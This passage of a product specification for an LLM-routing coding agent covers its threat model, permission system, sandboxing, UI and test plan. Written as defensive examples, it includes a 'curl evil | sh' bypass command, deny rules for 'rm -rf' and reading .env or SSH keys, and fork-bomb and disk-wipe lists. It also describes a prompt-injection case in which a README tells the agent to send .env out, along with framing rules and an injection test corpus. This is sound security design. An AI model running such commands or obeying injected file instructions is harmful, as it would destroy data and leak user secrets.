The loader validates the schema, rejects unknown fields in strict mode, and warns when `verified_on` is older than 90 days. The README's valid-tag list is extended to match the classifier categories, and 'ultra-fast' is either added to `speed_tier` or removed from the docs.

4.8 Observability and diagnostics

- Structured logs (JSON lines) at `~/.ijachi-llmr/logs/`, off by default except errors, with prompt and file content excluded unless `--debug-content` is set.
- `/doctor` and `ijachi-router doctor` check: Python version, install integrity, entry points, key detection (masked), network reachability per provider, model ID validity, catalog age, classifier checksum and version, terminal capabilities, write permissions,

and clock skew.

- A `--trace` flag writes a replayable trace of one session for bug reports, with redaction applied.

4.9 Packaging and compatibility

- Python 3.10 or newer; macOS, Linux, Windows (native PowerShell and WSL) are first-class.
- Entry points `ijachi-router`, `ijr`, `ijachi-code` declared in `pyproject.toml`; `pipx install` is the recommended install.
- Required dependencies kept small. Provider SDKs are optional extras, or providers use plain HTTP, so a user with one provider does not install twenty SDKs. Extras: `[pro]`, `[local]`, `[all]`.
- Providers are imported lazily; cold start under 500 ms on a typical laptop.
- The classifier ships as a versioned artifact in a safe format with a checksum (see Document 5, SEC-14); it must not be a bare pickle file.
- Dependencies are version-ranged in `pyproject.toml` and hash-locked in a lock file for releases.

4.10 Non-functional requirements

ID	Requirement	Target	Priority
NFR-01	Routing overhead before first model request	p95 under 150 ms	M
NFR-02	Classifier inference time	p95 under 30 ms	M
NFR-03	Cold start to interactive prompt	under 500 ms	S
NFR-04	UI render latency for streamed tokens	under 50 ms from receipt	S
NFR-05	Session event write durability	no loss of committed events on crash	M
NFR-06	Memory use for a 1,000-turn session	under 300 MB	S

ID	Requirement	Target	Priority
NFR-07	Availability with one provider down	100% of turns served if another eligible provider exists	M
NFR-08	Portability	macOS, Linux, Windows; Python 3.10 to 3.13	M
NFR-09	Accessibility	Works with screen readers and without color (see Doc 6)	M
NFR-10	Test coverage	At least 85% line coverage on session, context, routing, permissions	M
NFR-11	Backward compatibility	Existing commands and `~/.ijachi-llmr` data keep working or migrate automatically	M
NFR-12	Documentation accuracy	100% of README commands executed in CI	M

Document 5: Security, Privacy and Threat Model

An agent that reads files, runs shell commands and sends code to third parties is a high-trust tool. Security is a product feature here, not an add-on, and the Enterprise buyer's first question will be about it.

5.1 Security principles

1. **User in control.** Risky actions require approval; the user can always see and undo what happened.
2. **Least privilege by default.** Read-only until the user grants more; workspace-only until the user grants more.
3. **Untrusted data is data, never instructions.** File contents, command output and web pages cannot grant themselves permissions.
4. **Secure defaults.** Local-only server binding, telemetry off, no content in logs, secrets scrubbed from child processes.
5. **Defense in depth.** Permissions, then sandboxing, then checkpoints, then audit.
6. **Data minimization.** Send providers only what the turn needs; let users restrict which providers see which projects.

5.2 Assets and trust boundaries

Asset	Where it lives	Threatened by
Provider API keys	Env vars, keychain, config	Logs, child processes, prompt leakage, malware
Source code and secrets in the repo	Workspace	Exfiltration to providers or network, destructive edits
The user's machine	Everywhere	Arbitrary command execution, path traversal
Session history	`~/.ijachi-llmr/sessions`	Other local users, backups, accidental sharing
Budget	Provider accounts	Runaway loops, prompt-triggered spend
License and Pro features	Local and server	Tampering, key sharing
Release artifacts	PyPI, GitHub	Supply-chain compromise

Trust boundaries: user to app; app to model provider (third party); model output to tool runtime (untrusted); workspace content to model context (untrusted); app to local network (server); app to catalog and update servers.

5.3 Threat model

ID	Threat	Example	Primary controls
T-01	Prompt injection via files or web	A README in a cloned repo says to run a shell command and send the .env file out	Untrusted-data framing, taint tracking, approval on sensitive actions (5.5, 5.8)
T-02	Malicious project configuration	A repo ships `.ijachi/config.yaml` or `IJACHI.md` that pre-approves dangerous commands	Project config cannot widen permissions; trust prompt on first load
T-03	Destructive commands	`rm -rf`, force-push, disk or permission changes	Command classification, approval, checkpoints, deny rules

ID	Threat	Example	Primary controls
T-04	Path traversal and symlink escape	An edit to `../../.ssh/authorized_keys` or via a symlink	Canonicalize paths, enforce workspace roots, refuse symlink escapes
T-05	Secret exfiltration to providers	`.env` or private keys read into context	File deny-list, redaction, provider allow-lists, local-only mode
T-06	Key theft	Keys echoed in logs, traces, child environments	Scrubbed env, redaction, keychain storage, file mode 0600
T-07	Unsafe deserialization	The classifier artifact is a pickle that executes code on load	Safe format, checksum and signature, no pickle for downloaded artifacts
T-08	Catalog update tampering	Remote registry changes prices or model IDs to redirect traffic	Signed catalog, HTTPS with pinning option, diff preview, allow-list of hosts
T-09	Exposed local server	`serve` binds to all interfaces without auth	Bind 127.0.0.1 by default, bearer token, strict CORS, TLS for remote
T-10	Dashboard web attacks	XSS through model output, CSRF	Output escaping, CSP, same-site tokens, no inline scripts
T-11	Terminal escape injection	Model output with control sequences that rewrite the screen or set the clipboard	Strip or escape control sequences before rendering
T-12	Supply chain	Malicious dependency or hijacked release	Hash-locked deps, audit, SBOM, signed releases, trusted publishing
T-13	Runaway cost	Infinite tool loops or thrashing between models	Limits, budgets, repetition detection, switch-rate limit

ID	Threat	Example	Primary controls
T-14	Session file exposure	Other users or backups read history	Directory mode 0700, files 0600, optional encryption at rest
T-15	SSRF through web tools or webhooks	Fetching internal metadata endpoints	Block private ranges, off by default, allow-list for webhooks
T-16	License tampering	Editing code to unlock Pro	Server-side or signed-token verification; Pro in a separate package
T-17	Provider-side retention	Provider stores sensitive prompts	Per-provider policy flags, local-only mode, documentation of each provider's data terms

5.4 Permission system

Tool risk classes

Class	Examples	Default policy in `ask` mode
R0 read-only inside workspace	Read, Glob, Grep, ListDir, `git status`, `git diff`	Allowed
R1 write inside workspace	Edit, Write, formatters	Ask once per session, then allow for that session, with checkpoint
R2 execute	Bash commands not on the safe list, test runners, package installs	Ask each time unless a rule allows it
R3 network	WebFetch, WebSearch, curl, git push, package downloads	Ask each time
R4 outside workspace or sensitive	Paths outside roots, dotfiles, key files, system directories	Ask each time with a prominent warning; some always denied

Permission modes

- **ask** (default): R0 allowed; everything else per table.

- **plan**: read-only; the agent may propose changes but cannot apply them.
- **accept-edits**: R1 auto-approved in the workspace; R2 to R4 still ask.
- **auto-safe** (for CI): only commands matching explicit allow rules run; everything else is denied, with no prompts. There is no mode that approves everything silently. A `--dangerously-allow-all` flag, if ever offered, must require an interactive typed confirmation and is never available in CI mode.

Rules

Rules are layered (user, project, session) and evaluated deny first, then ask, then allow. Project rules can add `deny` and `ask` but can never add `allow` without user confirmation (T-02).

```
permissions:
  allow:
    - Bash(pytest *)
    - Bash(git diff *)
    - Edit(src/**)
  ask:
    - Bash(npm install *)
  deny:
    - Bash(rm -rf *)
    - Read(**/.env)
    - Read(~/.ssh/**)
    - Edit(.git/**)
```

Shell command analysis

- Parse commands properly; compound forms (`&&`, `;`, `|`, `$()`, backticks, redirections, here-docs) are split and **each part** evaluated. A rule that allows `git status` must not allow `git status; curl evil | sh`.
- A built-in safe list covers common read-only commands. Anything unrecognized is R2.
- Always-ask list: `sudo`, `rm` with recursive or force flags, `git push`, `git reset --hard`, `git clean`, `chmod -R`, `chown`, `curl` or `wget` piped to a shell, package installs, `docker`, `kubectl`, and database CLIs.
- Never-allow list unless explicitly overridden by the user in user-level config: raw disk writes, `mkfs`, `dd` to devices, fork bombs, deleting the home or root directory.

Approval prompt contents

Every prompt shows: the exact command or diff, the working directory, why the agent says it needs it, the model that requested it, the risk class, and the choices: **allow once**, **allow for this session**, **always allow this pattern** (writes a user-level rule), **deny**, **deny and tell the agent why**. Approval is never inferred from silence or timeouts.

5.5 Execution sandbox and workspace boundaries

- **Workspace roots.** The launch directory plus any directory the user adds with `--add-dir` or `/permissions`. Every file path from any tool is canonicalized (absolute, symlinks resolved) before the check. A path that resolves outside a root is R4.
- **Symlinks and hard links.** Writes through a symlink that points outside the roots are refused. The `.git` directory is write-protected by default.
- **Subprocess environment.** `Bash` starts from a minimal environment (`PATH`, `HOME`, locale, terminal variables) plus an explicit allow-list. Variables matching `*_API_KEY`, `*_TOKEN`, `*_SECRET`, `AWS_*`, `AZURE_*` and the ijachi provider keys are removed.
- **Limits.** Per-command timeout (default 120 s), output cap (default 30,000 characters with the full output stored on disk), process-group termination on timeout or cancel, and memory and process-count limits where the OS supports them.
- **No interactive programs.** Commands that wait for input (editors, pagers, `ssh` prompts) are run with stdin closed and a pager disabled so they fail fast rather than hang.
- **Optional OS sandbox** (`--sandbox`). macOS Seatbelt, Linux bubblewrap or Landlock, or a container runtime. In sandbox mode the network is off by default and only workspace roots are writable. Enterprise policy can make the sandbox mandatory.
- **Checkpoints.** Before the first write of each turn, the touched files are snapshotted (or a `git stash`-style snapshot is taken in git repositories). `/undo` restores them. Checkpoints are not a substitute for approval; they limit the cost of a mistake.

5.6 Secrets management and redaction

- **Key sources**, in order: environment variable, OS keychain (macOS Keychain, Windows Credential Manager, Secret Service on Linux), then the config file. Config files holding keys are created with mode 0600 and the app warns if permissions are looser. `ijachi-router providers` shows only masked keys (last four characters).
- **Never logged.** Keys never appear in logs, traces, session files, error messages, crash reports or the dashboard.

- **Redaction pipeline.** Before tool output is added to the context or written to a log, it passes through redaction: known key formats (provider prefixes, AWS access keys, JWTs, private key blocks, connection strings) and high-entropy strings next to words like `key`, `secret`, `token`, `password`. Redacted values are replaced with a placeholder such as `[REDACTED:openai_key]`. Users can add patterns.
- **Sensitive file deny-list** (configurable): `.env*`, `*.pem`, `*.key`, `id_rsa*`, `.aws/credentials`, `.npmrc`, `.pypirc`, `.netrc`, keychains, browser profiles. `Read` of these needs explicit approval with a warning that the contents will be sent to the chosen provider; the symbol indexer skips them entirely.
- **Rotation guidance.** If a key is detected in a session, the app tells the user which key to rotate.

5.7 Data flows and privacy modes

Data	Stays local	Sent to the selected provider	Sent to the project
Prompts and assembled context	Stored in the session log (unless disabled)	Yes, for each request to that provider	No
File contents read by the agent	Yes	Yes, when included in context	No
Command output	Yes	Yes, after redaction	No
API keys	Yes	Only to their own provider as an auth header	Never
Usage statistics	Yes	No	Only if the user opts in to telemetry
Catalog update request	No content	Contains no user data	Fetch from the allow-listed registry only

Privacy modes

- **Default:** sessions and metrics stored locally; telemetry off; content excluded from debug logs.
- `--no-persist`: nothing written to disk beyond metrics totals; sessions cannot be resumed.

- `--local-only`: only local providers (Ollama, custom local servers) are eligible. The router refuses to use any cloud provider and says so.
- **Project provider policy:** `.ijachi/config.yaml` can list `deny-providers`, which the user-level config can only make stricter, for example to keep a client's code away from a specific vendor.
- **First-run notice:** a short, plain statement that prompts and relevant files are sent to the providers whose keys are configured, with a link to each provider's data terms.

Note for the owner: if users or customers are in jurisdictions with data protection law (for example the Nigeria Data Protection Act 2023 or GDPR), publish a privacy statement describing the above and any data handled by the Pro service. This is a documentation recommendation, not legal advice.

5.8 Prompt-injection defenses

- **Framing.** Tool results and file contents are delivered inside clearly delimited data blocks, and the system prompt states that instructions inside them have no authority.
- **Taint tracking.** After the agent reads content from an untrusted source (web, an unfamiliar repository file, command output containing instructions), the next R2 to R4 action is shown with a note such as `requested after reading README.md` and requires approval even if an allow rule would otherwise match.
- **No silent chains.** Network access plus command execution plus secret access in one turn escalates to an explicit warning.
- **Instruction hierarchy.** Order of authority: built-in safety rules, user messages, user-level config, project memory (`IJACHI.md`), then everything else as data.
- **Detection (best effort).** A lightweight check flags common injection phrases in tool results and shows a warning marker. It is advisory and never the only control.

5.9 Local server and dashboard (Pro)

- `serve` binds to `127.0.0.1` by default. Binding to another interface requires `--host` and a confirmation message, and refuses to start without TLS and a token.
- Authentication by random bearer token generated at first start, stored with mode 0600, and rotated with `ijachi-router serve --rotate-token`.
- Strict CORS (no wildcard), CSRF protection for the dashboard, `Content-Security-Policy` without inline scripts, and escaping of all model and user content rendered in HTML.
- Rate limits and request size limits on every endpoint; schema validation on every request.

- The API never returns keys, and returns only metadata (not prompt text) in the dashboard unless the user opts in.
- Webhook alerts are signed with an HMAC secret, delivered only to HTTPS URLs, and never to private IP ranges.
- All requests that spend money are written to the audit log with the caller identity.

5.10 Supply chain and release integrity

- Release builds from CI using PyPI **trusted publishing** (no long-lived tokens), 2FA on all maintainer accounts, signed tags, and Sigstore signatures on artifacts.
- Dependencies are minimized, hash-locked for releases, and scanned (`pip-audit` or equivalent) on every CI run; an SBOM is published with each release.
- The GitHub Action pins third-party actions by commit SHA, uses least-privilege `GITHUB_TOKEN` permissions, and never echoes secrets. The README example must also use `id: router` so outputs work, and recommend pinning `ijachi/ijachi-llm-router@<sha>`.
- **Classifier artifact:** stored in a non-executable format (for example JSON-serialized vocabulary and coefficients, or ONNX), versioned, checksummed, and verified on load. No `pickle` or `joblib` for anything that is downloaded or user-supplied. **[VERIFY]**
- **Catalog updates:** signed (Ed25519) and fetched only from allow-listed hosts; the app shows a diff of price and model changes and applies it only after validation. Failed signature means the update is discarded and the bundled catalog is used.

5.11 License handling

- License keys are verified as signed tokens (offline-capable, Ed25519) with an optional online check. Failure of the license service never disables any Community feature or any safety feature.
- The license file stores no personal data beyond what is needed. Keys can be revoked server-side, with a grace period for offline use.
- Tier checks live in the Pro package or the hosted service, so removing a check in the open-source core does not unlock paid functionality (Document 1, section 1.10).

5.12 Audit logging

A local, append-only audit log records: approvals and denials (what, who, when), executed commands with exit codes, file writes (path and before and after hashes, not contents), routing decisions, provider failures, configuration and permission changes, and license

events. Enterprise tier adds hash chaining for tamper evidence and export to a SIEM format. Audit logs never contain secrets or prompt text.

5.13 Terminal output safety

Model and tool output is untrusted text. Before rendering, strip or escape control sequences, specifically: cursor movement, screen clearing, title changes (OSC 0 and 2), clipboard writes (OSC 52), hyperlink sequences that hide the true target, and bell flooding. Only the app's own renderer may emit styling. Hyperlinks are shown with their visible target. This is covered by automated tests that feed hostile sequences through the renderer.

5.14 Vulnerability disclosure and incident response

- Publish `SECURITY.md` with a private reporting channel, supported versions, and a response commitment (acknowledge within 72 hours; fix timeline by severity).
- Maintain a security advisory process with CVE requests where appropriate and a changelog section for security fixes.
- Incident runbook: revoke compromised tokens, yank affected releases, publish an advisory, ship a fix, and notify Pro and Enterprise customers.

5.15 Security requirements

ID	Requirement	Priority
SEC-01	All tools shall be classified R0 to R4 and authorized per the permission mode before execution.	M
SEC-02	Shell commands shall be parsed and every sub-command evaluated; compound-command bypass shall be impossible.	M
SEC-03	File paths shall be canonicalized and confined to workspace roots; symlink escapes shall be refused.	M
SEC-04	Project-level configuration and memory shall be unable to grant permissions or widen provider access.	M
SEC-05	Child processes shall not inherit provider keys or common secret variables.	M

ID	Requirement	Priority
SEC-06	Secrets shall never be written to logs, traces, sessions or error output; redaction shall be applied to tool output.	M
SEC-07	Sensitive files shall be deny-listed from reads and indexing unless explicitly approved.	M
SEC-08	Non-interactive runs shall deny anything not pre-authorized and shall never auto-approve.	M
SEC-09	Checkpoints shall be created before writes and `/undo` shall restore them.	M
SEC-10	Terminal output shall be sanitized against control-sequence injection.	M
SEC-11	The server shall bind to localhost by default and require a token.	M
SEC-12	The dashboard shall escape all content and enforce a strict CSP.	M
SEC-13	`--local-only` and `--deny-providers` shall be enforced absolutely by the router.	M
SEC-14	Downloaded or shipped model artifacts shall be non-executable formats with verified checksums and signatures.	M
SEC-15	Catalog updates shall be signed, allow-listed by host, validated and diff-previewed.	M
SEC-16	Session and config files shall be created with owner-only permissions.	M
SEC-17	Prompt-injection controls (framing, taint tracking) shall be implemented and covered by an adversarial test suite.	M
SEC-18	Releases shall use trusted publishing, signing, hash-locked dependencies and an SBOM.	S
SEC-19	An audit log of approvals, commands and file writes shall be kept locally.	S
SEC-20	License checks shall never disable safety features; Pro gating shall not live in the open core.	M

ID	Requirement	Priority
SEC-21	Per-turn and per-session cost limits and loop detection shall prevent runaway spend.	M
SEC-22	A published SECURITY.md and vulnerability process shall exist before v1.0.	M
SEC-23	A first-run notice shall explain what data goes to which provider.	M
SEC-24	Webhooks shall be signed, HTTPS only and blocked from private networks.	S
SEC-25	An independent security review shall cover the permission system, shell parsing and sandbox before v1.0.	M

Document 6: Terminal UI/UX Specification

The interface must feel familiar to anyone who has used Claude Code (a conversational prompt, streamed answers, visible tool use, approval prompts, slash commands) and improve on it where the router adds information: which model is working, why, and what it costs.

6.1 Design principles

1. **Conversation first.** The prompt and the answer are the center of the screen; everything else is quiet.
2. **Always know what is happening.** The user can tell at a glance whether the app is thinking, running a tool, waiting for approval, or idle.
3. **Transparent routing without noise.** The model and cost are visible in one dim line, and explainable on demand with `/why`.
4. **Safe by design.** Approvals show exactly what will happen, in a form that is hard to misread.
5. **Works everywhere.** SSH, tmux, CI logs, screen readers, 16-color terminals, narrow windows, and Windows terminals.
6. **Fast.** Prompt appears under 500 ms; streaming never stutters; no blocking spinners.

6.2 Session screen

```
 ijachi-code  v1.0   ~/projects/api-server   branch: feature/auth
 ------------------------------------------------------------------

 > Add rate limiting to the login endpoint and write tests

   [route] code-edit . complexity 0.62 . claude-sonnet-4-5

   I'll look at how the login endpoint is structured first.

   * Read  src/auth/routes.py                                  ok
   * Grep  'limiter' in src/                                   2 matches
   * Edit  src/auth/routes.py                        +14 -2  [awaiting
approval]

   Edit src/auth/routes.py
   ------------------------------------------------------------
    41   @router.post('/login')
    42 + @limiter.limit('5/minute')
    43   async def login(req: LoginRequest):
   ------------------------------------------------------------
   Allow?  [y] once  [s] this session  [a] always  [n] no  [e] explain

 ------------------------------------------------------------------
  auto . claude-sonnet-4-5 . ctx 38% . turn $0.0042 . session $0.0187 / $2.00
 > _
```

Regions

- **Header (one line):** product, version, working directory, git branch. Hidden in print mode.
- **Transcript:** user messages, routing notes, assistant text, tool activity and approvals, in order.
- **Status line (always visible, one line):** routing mode (`auto` or `pinned`), current model, context usage percent, last turn cost, session cost against budget if set.
- **Prompt:** multi-line capable input at the bottom.

6.3 Elements in detail

Prompt input

- Multi-line with `Shift+Enter` or `\` then Enter for a newline; Enter submits. Paste of multi-line text is accepted as one message and shown collapsed if long.

- History with up and down arrows, persisted per project; reverse search with `Ctrl-R`.
- Slash command autocomplete with descriptions after typing `/`; file path autocomplete after typing `@`, which attaches the file as context.
- `!command` runs a shell command through the same permission system and adds the output to the session.
- `#note` appends a line to the project memory file after confirmation.

Routing note

A single dim line per routed request, shown before the response: category, complexity and chosen model. On a change of model it becomes a **switch notice** with the reason, for example `switched claude-haiku-4-5 to claude-sonnet-4-5 (two failed edits)`. If fallback occurred: `openai unavailable (rate limit), continued on anthropic`. These lines are informative, never alarming, and can be hidden with `/config ui.routing_notes off`.

Streaming rendering

- Markdown rendered progressively: headings, lists, tables, inline code, code blocks with syntax highlighting and a language label.
- Code blocks never reflow mid-stream; partial markup is rendered conservatively so the screen does not jump.
- Long answers can be scrolled with the terminal's own scrollback; no custom pager is required. A `Ctrl-O` toggle expands or collapses verbose tool output.

Tool activity

Each tool call is one line: icon, tool name, short argument, result summary and duration. Failed calls are shown in the error style with a one-line reason. Details are collapsed by default and expandable (`Ctrl-O`). Edits show a unified diff with line numbers and context before approval, and a short summary afterwards.

Approval prompt

Shows the exact command or diff, working directory, risk class, requesting model and the reason. Choices are single keystrokes: `y` allow once, `s` allow for session, `a` always allow this pattern, `n` deny, `d` deny with a message to the agent, `e` explain what the command does. The default focus is **deny**; Enter alone does not approve. Risky actions (R3, R4, and anything after untrusted content) use a distinct warning color and an extra line explaining why it needs confirmation.

Turn footer and status line

After each completed turn: `model . input/output tokens . cache hits . cost . latency`. The status line keeps the running session total and, if a budget is set, a progress indicator that turns amber at 80% and red at 100%. At 100% the agent pauses and asks whether to raise the limit.

Progress states

State	Indicator
Routing and assembling context	`...` quick, usually imperceptible
Waiting for the first token	Spinner with the model name and elapsed time
Streaming	Live text
Running a tool	Tool line with elapsed time and `Ctrl-C to cancel`
Waiting for approval	Highlighted prompt, terminal bell optional
Compacting	`Compacting N turns...` with result summary
Fallback	Notice, then continue

When reduced-motion or screen-reader mode is on, spinners are replaced by plain text lines.

6.4 Key bindings

Keys	Action
Enter	Submit
Shift+Enter	New line
Ctrl-C	Cancel current operation; twice quickly exits
Ctrl-D	Exit on empty prompt
Esc	Cancel input, close menus; Esc twice opens the rewind menu
Up / Down	History
Ctrl-R	Search history
Tab	Autocomplete

Keys	Action
Shift+Tab	Cycle permission mode (ask, accept-edits, plan)
Ctrl-O	Expand or collapse tool output
Ctrl-L	Clear screen (session unaffected)
Ctrl-M	Pin or release the current model (shows a small picker)

Bindings are configurable in `~/.ijachi-llmr/keys.yaml`, and conflicts with the terminal or tmux are documented.

6.5 Slash command and `/why` experience

Typing `/` opens a filtered list with one-line descriptions. Unknown commands suggest the nearest match. `/why` output example:

```
 Routing for the last turn
  Input signals   category: code-edit (0.88)  complexity: 0.62  tools: yes
                  session: 3 files in play, no recent failures, current model
sonnet
  Filtered out    gpt-4o-mini (below agent quality floor)
                  deepseek-chat (circuit open: 3 failures, 41 s left)
  Ranked          1. claude-sonnet-4-5   score 0.81  est $0.0040
                  2. gpt-4o              score 0.74  est $0.0061
                  3. gemini-2.5-pro      score 0.70  est $0.0033
  Decision        claude-sonnet-4-5 (best fit; sticky bonus applied, 4.8k
tokens cached)
  Tip             /priority cost  would choose gemini-2.5-pro
```

`/context` shows a horizontal usage bar and a table of layers with token counts. `/cost` shows a per-model table matching the README stats table, plus saved-versus-baseline: how much the same work would have cost on the strongest configured model, which makes the product's value visible.

6.6 First-run and onboarding

1. Welcome line and one sentence of what the tool does.
2. **Provider detection:** list detected keys (masked) and local models. If none, offer the zero-cost Ollama path with the exact commands, and a link for adding a key.
3. **Data notice:** a plain statement of what is sent to providers (SEC-23) and the choice of default privacy mode.

4. **Priority choice:** cost, balanced or quality, with a sentence each; default balanced.
5. **Test prompt:** run a tiny request and show the footer, so the user sees routing and cost working.
6. **Tips:** `/help`, `/why`, `/permissions`, and `/init` for a project memory file.

The flow is skippable, re-runnable with `ijachi-code setup`, and never blocks non-interactive use.

6.7 Visual design and accessibility

- **Palette** with semantic roles only: text, dim, accent, success, warning, error, diff-add, diff-remove, code. Provided themes: dark, light, high-contrast, and ANSI-16 safe. Color is never the only signal (diff lines use `+` and `-`, statuses use words or symbols).
- **NO_COLOR** and `--no-color` are honored. Terminals without truecolor degrade to 256 or 16 colors automatically.
- **Unicode vs ASCII:** box-drawing and symbols have ASCII fallbacks selected automatically for limited locales and Windows consoles that lack support.
- **Width and resize:** layouts adapt from 60 columns up; tables wrap or truncate with an ellipsis; resizing redraws the status line without corrupting output.
- **Screen-reader mode** (`--plain` or `ui.plain: true`): linear output, no spinners or redraws, explicit labels such as `Assistant:` and `Tool:`, and approvals presented as questions.
- **Reduced motion** and **no bell** options.
- **Internationalization:** UTF-8 throughout, correct width handling for CJK and emoji, right-to-left text rendered by the terminal without breaking layout.

6.8 Messaging and error style

Messages are short, specific, and say what to do next. No stack traces by default; a short error ID and `--verbose` or `/doctor` for details.

Situation	Message
No provider configured	`No provider found. Set a key (for example ANTHROPIC_API_KEY) or start Ollama. Run /doctor for help.`
Rate limit with fallback	`openai is rate limited; continued on anthropic. (/providers shows status)`

Situation	Message
All providers failed	`No provider could complete this request. Last errors: ... Your session is saved; try again with /retry.`
Budget reached	`Session budget of $2.00 reached. /budget 5 to raise it, or /exit.`
Context too large for chosen model	`Compacted 24 turns to fit. /context shows the new layout.`
Tool denied	`Skipped: you denied Bash(rm -rf build). The agent was told.`
Stale file	`src/app.py changed since it was read. Re-reading before editing.`

Tone is calm and direct, never blaming the user, with no exclamation marks and no marketing language inside the tool.

6.9 Interface technology guidance

Use a mature terminal toolkit rather than raw escape codes: for example `prompt_toolkit` for input, completion, history and key bindings, and `rich` (or an equivalent) for markdown, tables, syntax highlighting and diffs. This choice matters for Windows support, resize handling and testability. Rendering is written against an interface so that plain, JSON and rich renderers share the same event stream, which is how print mode and `--json` stay consistent with the interactive UI.

6.10 UI/UX requirements

ID	Requirement	Priority
UX-01	The interactive session shall provide the regions and behaviors in 6.2 and 6.3.	M
UX-02	The status line shall always show routing mode, model, context usage and cost.	M
UX-03	Every model switch and fallback shall produce a one-line notice with the reason.	M

ID	Requirement	Priority
UX-04	Approval prompts shall show the exact action, default to deny, and never approve on Enter alone.	M
UX-05	Edits shall be shown as diffs before approval.	M
UX-06	Streaming shall render incrementally without layout jumps.	M
UX-07	`Ctrl-C` shall cancel the current operation and keep the session.	M
UX-08	Slash commands shall autocomplete, and unknown ones shall suggest matches.	M
UX-09	`/why`, `/context` and `/cost` shall provide the outputs described in 6.5.	M
UX-10	NO_COLOR, ANSI-16 fallback and high-contrast theme shall be supported.	M
UX-11	Screen-reader (`--plain`) and reduced-motion modes shall be available.	M
UX-12	The layout shall remain usable at 60 columns and survive resize.	S
UX-13	First-run onboarding shall follow 6.6 and complete in under 5 minutes.	M
UX-14	Error messages shall follow 6.8 and avoid raw stack traces.	M
UX-15	Print mode and `--json` shall produce no decorations when not attached to a TTY.	M
UX-16	Key bindings shall be configurable.	C
UX-17	Windows (PowerShell and Windows Terminal) shall render correctly, with ASCII fallbacks where needed.	M
UX-18	The UI shall sanitize untrusted output (SEC-10).	M

Document 7: Quality, Test and Acceptance Plan

7.1 Strategy

The app cannot be declared working by inspection. Every **M** requirement maps to at least one automated test, and the three headline promises (cheaper, continuous, resilient) are verified by evaluation suites with numeric pass criteria.

Layer	Purpose	Tooling suggestion
Unit	Pure logic: scoring, policy, token budgeting, redaction, permission rules, shell parsing	pytest, hypothesis (property tests)
Component	Session store, assembler, compaction, adapters with recorded payloads	pytest, golden files
Integration	Agent loop against a **fake provider server**	pytest, local HTTP fake
Contract	Each real provider adapter against live APIs, small and cheap	Nightly job with tiny prompts and spend caps
End-to-end terminal	Real PTY sessions: keystrokes in, screen out	pexpect or similar, snapshot tests
Evaluation	Routing benchmark, continuity eval, classifier metrics	Scripted harness, versioned datasets
Security	Injection, bypass, fuzzing, secret-leak checks	Dedicated suite, external review
Cross-platform	macOS, Linux, Windows; Python 3.10 to 3.13	CI matrix
Documentation	Every README command and example executed	CI job

7.2 The fake provider

A deterministic local server that speaks each provider's wire format and can be scripted to: stream text at a chosen speed; emit single and parallel tool calls; return 401, 429 (with Retry-After), 500, timeouts and malformed JSON; die mid-stream; report context overflow; and count what it received. Most defects in a router like this appear on failure paths, so this tool comes first in the plan, before any live testing.

7.3 Fault-injection matrix

Fault	When injected	Expected result
Provider down	Before the first byte	Fall back to next candidate; user sees a one-line notice; no duplicate side effects
Mid-stream failure	After partial text	Partial output discarded; replay on next candidate from last committed event
Failure after a tool call was requested	Tool executed, result not yet sent	Result committed, turn replayed with it, tool not executed twice
Rate limit	429 with Retry-After	Retry if short, otherwise fall back; breaker counts repeats
Malformed tool JSON	Model returns invalid arguments	Error returned to the model once, then escalate
Context overflow	400 context error	Recompute budget, compact or filter model; no infinite loop
Auth failure	401	Provider marked unavailable for the session; single clear notice
All providers fail	Every candidate	Clean error, session intact, `/retry` works
Process killed	Mid-write	Session resumes with all committed events and no corruption
Network lost	Mid-session	Timeouts honored; local providers still usable

7.4 Routing and cost benchmark

Dataset. At least 500 labeled single-turn prompts across the classifier categories, and at least 60 multi-turn agentic tasks (bug fix, refactor, add feature, write tests, explain code, migrate API usage, configuration changes) on small fixture repositories with automated pass or fail checks (tests passing, expected diff properties).

Baselines. Always strongest configured model; always cheapest; random eligible model; ijachi-llm-router with default settings; with each priority mode.

Metrics. Task success rate, total cost, tokens, latency, switches per session, escalations per session, fallbacks, and regret (cases where a cheaper model would have succeeded and cases where a failure occurred on a weak pick).

Pass criteria. Cost at least 40% below always-strongest, with success at least 95% of always-strongest (OBJ-1, OBJ-2), on at least three provider combinations including one local-only setup. Results are published in the repository and re-run before each release.

7.5 Classifier evaluation

- Expand the training data well beyond the current roughly 140 rows, labeled by at least two reviewers, with agreement measured; include short, ambiguous and conversational follow-ups (for example 'now make it async') drawn from real agentic sessions.
- Keep a held-out test set never used for tuning. Targets: macro-F1 at least 0.85 and well-calibrated confidence (expected calibration error under 0.08).
- Choose the low-confidence threshold (FR-25) from the calibration curve, and test that low-confidence prompts route to the balanced model.
- Version the artifact, record the training data hash and library versions in its metadata, and test load, checksum and inference on every supported Python and OS.
- Track misroutes found in real use (opt-in) to grow the dataset.

7.6 Continuity evaluation

Execute the procedure in Document 3, section 3.12, as a release gate: at least 98% fact recall, zero contradictions of recorded decisions, zero double-executed tool calls, and correct edits that depend on earlier file changes, across all ordered model pairs in the test matrix and across forced compaction events.

7.7 Security tests

- **Injection corpus:** at least 100 hostile files, command outputs and web pages designed to make the agent run commands, read secrets, or change permissions. Pass: zero unapproved sensitive actions.
- **Shell bypass fuzzing:** quoting, escaping, unicode lookalikes, environment-variable expansion, subshells, here-docs, command substitution, aliases, and chained operators against every allow rule. Pass: no command runs that a rule did not clearly allow.
- **Path tests:** `..` traversal, symlink and hard-link escapes, case-insensitive filesystem tricks, Windows drive and UNC paths.
- **Environment leak test:** run a command that prints its environment and assert no keys appear.
- **Redaction tests:** a corpus of real key formats and false-positive samples.
- **Terminal injection:** feed escape sequences (title, clipboard, cursor movement) through the renderer and assert they are neutralized.
- **Server tests:** unauthenticated access, wrong token, CORS, CSRF, oversized bodies, XSS payloads in model output, webhook SSRF attempts.
- **Artifact checks:** assert there is no pickle loading for downloaded artifacts; verify catalog and classifier signature handling, including tampered files.
- **Dependency and secret scans** on every CI run.

7.8 UX and accessibility tests

- Snapshot tests of rendered screens for the elements in Document 6, in rich, plain and no-color modes.
- PTY end-to-end scripts for first run, approvals, `Ctrl-C` behavior, resize, slash-command autocomplete and multi-line paste.
- Moderated usability test with at least eight developers: install and first routed prompt under 5 minutes (OBJ-7), correct understanding of the approval prompt, and ability to find cost and routing explanations.
- Screen-reader walkthrough in `--plain` mode on at least one platform; contrast review of themes.

7.9 Acceptance tests (release gate)

ID	Given / When / Then	Covers
AT-01	Fresh machine, one key set; install and run the quickstart. Then a routed answer with footer appears within 5 minutes.	BR-10, UX-13
AT-02	No keys, Ollama running. Then a routed answer is produced and cost shows zero.	BR-10
